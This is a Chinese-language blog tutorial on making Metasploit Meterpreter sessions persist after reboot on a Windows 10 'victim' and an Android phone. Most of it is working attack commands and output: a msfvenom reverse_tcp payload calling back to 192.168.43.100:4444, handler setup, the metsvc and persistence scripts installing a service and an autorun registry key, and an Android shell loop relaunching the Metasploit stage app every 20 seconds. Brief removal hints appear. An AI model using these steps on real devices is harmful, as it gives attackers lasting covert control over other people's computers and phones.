持久ing+

持久化

在msf生成的shell中，无论是是android还是windows在关闭软件或者设备重启后，我们的会话进程都会自然而然的关闭。要想得到会话，必须用户再次启动我们的shell才能得到会话。那么，我们该如何解决这一问题呢？

持久化

msf/Windows持久化

1、metsvc：通过服务启动，是 Meterpreter 下的一个脚本；

运行 run metsvc 将会在目标主机上以 Meterpreter 的服务的形式注册在服务列表中，并开机自动自动；

运行 run metsvc -r 卸载目标主机上的 Meterpreter 服务；

原理：设置的后门在目标机启动后会自动开启一个服务，等待连接；这个有点正向代理的意思，自己开个端口等待接入控制；

优点：命令简单，不必设置太多参数，即不需要设置反弹到的主机IP、端口等，直接 run metsvc -A；

缺点：如何其他人知道服务器的ip，都可以利用这个后门开启的服务来控制服务器【扫描器发现】；

2、persistence：通过启动项启动，也是 Meterpreter 下的一个脚本；

移除后门：删除注册表中的值和上传的 VBScript 文件，具体位置执行脚本后有提示。

原理：有点反向代理的意思；

优点：由于是主动献殷勤，目标机器上的防火墙对于此等操作一般均会放行，后门的存活率较高；

环境介绍

• vps(msf端口)
• win10 (受害者)

生成shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f exe > ~/root/bbskali.exe 

Bash

复制

配置msf

msf exploit(handler) > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.43.100
lhost => 192.168.43.100
msf exploit(handler) > exploit 

Bash

复制

metsvc利用

meterpreter > run metsvc

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [….]
[] Creating a meterpreter service on port 31337
[] Creating a temporary installation directory C:\Users\Go0s\AppData\Local\Temp\HLDIkkGKSJ….
[] >> Uploading metsrv.x86.dll….
[] >> Uploading metsvc-server.exe….
[] >> Uploading metsvc.exe….
[] Starting the service….
Cannot open service manager (0x00000005)

Bash

复制

拿到 Meterpreter 会话，重新执行 run metsvc -A即可。

移除服务

meterpreter > run metsvc -r

Bash

复制

利用 persistence

meterpreter > run persistence -U -i 10 -p 4444 -r 192.168.43.100

Bash

复制

重启目标机，仍然上线。

其脚本主要做的工作：

①、上传后门到目标机器【meterpreter的upload命令】；

②、再写自启动注册表【reg】；

移除

根据执行脚本时提示的vbs文件和注册表位置，进行删除后门；

Executing script C:\Users\Go0s\AppData\Local\Temp\SAaYfc.vbs

Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\irZnsVkfdRUZIB

Bash

复制

android持久

首先，我们生成android shell 并运行。如图，我们成功得到会话。

msf

利用cd命令，切换到手机的根目录。
这里以小米手机为例：
cd /storage/emulated/0

在此目录下，我们新建一个shell.sh文件，写入内容如下：
新建命令：edit shell.sh
内容：

#!/bin/bash

while true

do am start –user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity

sleep 20

done

Bash

复制

输入:wq保存即可。

在终端执行shell–sh shell.sh

这样，我们就能得到持久的会话了！

---

版权属于：逍遥子

本文链接：https://blog.bbskali.cn/index.php/archives/1770/

转载时须注明出处及本声明